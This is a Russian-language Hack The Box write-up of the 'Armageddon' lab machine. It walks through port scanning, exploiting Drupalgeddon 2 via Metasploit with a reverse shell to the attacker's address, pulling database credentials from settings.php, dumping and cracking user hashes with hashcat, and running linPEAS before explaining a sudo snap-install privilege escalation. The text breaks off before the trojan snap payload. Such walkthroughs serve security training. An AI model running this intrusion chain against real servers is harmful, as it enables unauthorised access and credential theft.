Категория > Новости > HTB Armageddon. Повышаем привилегии в Linux через троянский пакет Snap - «Новости»

HTB Armageddon. Повышаем привилегии в Linux через троянский пакет Snap - «Новости»


29-07-2021, 00:00. Автор: Kennedy
Hack The Box.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


Ад­рес машины — 10.10.10.233, не забыва­ем добавить его в /etc/hosts и прис­воим имя armageddon.htb.


И сра­зу же ска­ниру­ем пор­ты. При­вожу свой тра­дици­онный скрипт, осно­ван­ный на Nmap:


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
HTB Armageddon. Повышаем привилегии в Linux через троянский пакет Snap - «Новости»
Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем два откры­тых пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер Apache).


Наш­ли веб‑сер­вер — сра­зу же идем смот­реть, что за сайт на нем раз­вернут.


Стар­товая стра­ница сай­та

Нас встре­чает Drupal — одна из популяр­ней­ших сис­тем управле­ния кон­тентом (CMS). В ней навер­няка най­дут­ся извес­тные уяз­вимос­ти.


 

Точка входа: Drupal


Для Drupal так­же есть спе­циаль­ное средс­тво ска­ниро­вания, которое поможет най­ти уяз­вимос­ти, — droopescan. Уста­новим прог­рамму и выпол­ним ска­ниро­вание в 32 потока.


git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -rrequirements.txt
python3 droopescan scan drupal -uhttp://armageddon.htb -t 32
Ре­зуль­тат работы скрип­та

Droopescan нашел уста­нов­ленные пла­гины, темы и веро­ятную вер­сию CMS. Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной вер­сии готовые экс­пло­иты. Надеж­нее все­го искать при помощи Google, а так­же на спе­циали­зиро­ван­ных сай­тах — HackerOne, Exploit-DB и GitHub.


По­иск экс­пло­итов в Google

Но если ты поль­зуешь­ся Kali, то Exploit-DB у тебя уже есть и в дан­ном слу­чае дос­таточ­но запус­тить ути­литу searchsploit, что­бы най­ти сра­зу нес­коль­ко экс­пло­итов.


searchsploit Drupal
Экс­пло­иты, най­ден­ные searchsploit

Ви­дим, что хост содер­жит извес­тную уяз­вимость Drupalgeddon 2, что даст нам уда­лен­ное выпол­нение кода (RCE). Помет­ка Metasploit озна­чает, что экс­пло­ит уже реали­зован для Metasploit Framework, и, так как это удоб­нее, будем исполь­зовать его.



info


Под­робный ана­лиз прин­ципов работы уяз­вимос­ти читай в статье «Дру­пал­геддон-2. Под­робно раз­бира­ем новую уяз­вимость в Drupal».



 

Точка опоры


Ког­да необ­ходимый модуль най­ден, сто­ит гля­нуть, какие ему нуж­но задавать парамет­ры (коман­да show options).


По­иск экс­пло­ита Drupalgeddon2 в Metasploit Framework
Оп­ции модуля drupal_drupalgeddon2

Та­ким обра­зом, сле­дует ука­зать целевой хост для ата­ки, а так­же адрес локаль­ного хос­та и порт для обратно­го под­клю­чения.


use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS armageddon.htb
set LHOST 10.10.14.86
set LPORT 80
run
Вы­пол­нение экс­пло­ита Drupalgeddon2

И мы получа­ем обо­лоч­ку, где можем выпол­нять коман­ды на уда­лен­ном хос­те. Прав­да, пока толь­ко в кон­тек­сте учет­ной записи поль­зовате­ля‑служ­бы.


 

Продвижение


Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет даже целая CMS, то пер­вое наше дей­ствие — поп­робовать получить какие‑нибудь учет­ные дан­ные поль­зовате­лей. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей в сис­теме. В слу­чае с Drupal есть мес­то, где учет­ные дан­ные есть всег­да, — файл с нас­трой­ками для под­клю­чения к базе дан­ных default/settings.php.


Со­дер­жимое дирек­тории default
Со­дер­жимое фай­ла settings.php

Эти учет­ные дан­ные поз­воля­ют под­клю­чить­ся к базе дан­ных и получить дру­гие кри­тичес­кие дан­ные поль­зовате­лей. Спер­ва коман­дой shell получим коман­дную обо­лоч­ку на уда­лен­ной машине, пос­ле чего выпол­ним под­клю­чение к базе дан­ных MySQL с получен­ными учет­ными дан­ными.


mysql -udrupaluser -hlocalhost -p

В слу­чае с Drupal нас инте­ресу­ют дан­ные из таб­лицы users базы drupal.


use drupal;
select name,pass from users;
show;
Дан­ные из таб­лицы users базы drupal

На­ходим хеш пароля поль­зовате­ля brucetherealadmin. А как мы узна­ем из фай­ла /etc/passwd, дан­ный поль­зователь явля­ется сис­темным.


Со­дер­жимое фай­ла /etc/passwd

Да­вай перебе­рем этот пароль с помощью hashcat. Сна­чала узна­ем, какой режим исполь­зовать, а потом переда­дим его номер через параметр -m.


hashcat -m7900 -a0 hash.txt ../tools/rockyou.txt
Оп­ределе­ние типа хеша
Ре­зуль­тат перебо­ра хеша

Мы успешно переби­раем получен­ный хеш и узна­ем пароль поль­зовате­ля. И пос­ле под­клю­чения по SSH забира­ем пер­вый флаг.


Флаг поль­зовате­ля 

Локальное повышение привилегий


Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Источни­ков информа­ции очень мно­го, и, что­бы не переби­рать их вруч­ную, я обыч­но исполь­зую скрип­ты PEASS. Они авто­мати­чес­ки про­ходят сис­тему в поис­ках зацепок для повыше­ния при­виле­гий. Заг­рузим на локаль­ный хост скрипт для Linux.


wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. Для это­го мож­но исполь­зовать стан­дар­тные средс­тва SSH. Пос­ле заг­рузки необ­ходимо дать пра­во на выпол­нение и выпол­нить скрипт.


scp ../tools/linpeas.sh brucetherealadmin@armageddon.htb:/tmp/
chmod+x /tmp/linpeas.sh
/tmp/linpeas.sh
Ре­зуль­тат работы скрип­та

Ви­дим, что мы можем зацепить­ся за нас­трой­ки sudoers (sudo -l). Поль­зователь brucetherealadmin без вво­да пароля может выпол­нить сле­дующую коман­ду в при­виле­гиро­ван­ном кон­тек­сте:


/usr/bin/snap install *

Snap — это сис­тема управле­ния и рас­пре­деле­ния пакетов, соз­данная в Canonical (раз­работ­чик Ubuntu). Сами пакеты Snap пред­став­ляют собой заранее ском­пилиро­ван­ные вмес­те со все­ми зависи­мос­тями и биб­лиоте­ками при­ложе­ния, которые затем исполня­ются в изо­лиро­ван­ной сре­де. Они лег­че и быс­трее уста­нав­лива­ются, могут получать пос­ледние обновле­ния, а так­же более безопас­ны с точ­ки зре­ния дос­тупа к опе­раци­онной сис­теме и важ­ным фай­лам.


Но все же при­ложе­ния могут получать дос­туп к хос­ту при работе в режиме devmode. Snap исполь­зует Linux-сокет AF_UNIX, который необ­ходим для свя­зи меж­ду про­цес­сами на одном компь­юте­ре. Для него уста­нов­лены пра­ва 0666, что поз­воля­ет любому про­цес­су под­клю­чать­ся и вза­имо­дей­ство­вать с этим сокетом.



Перейти обратно к новости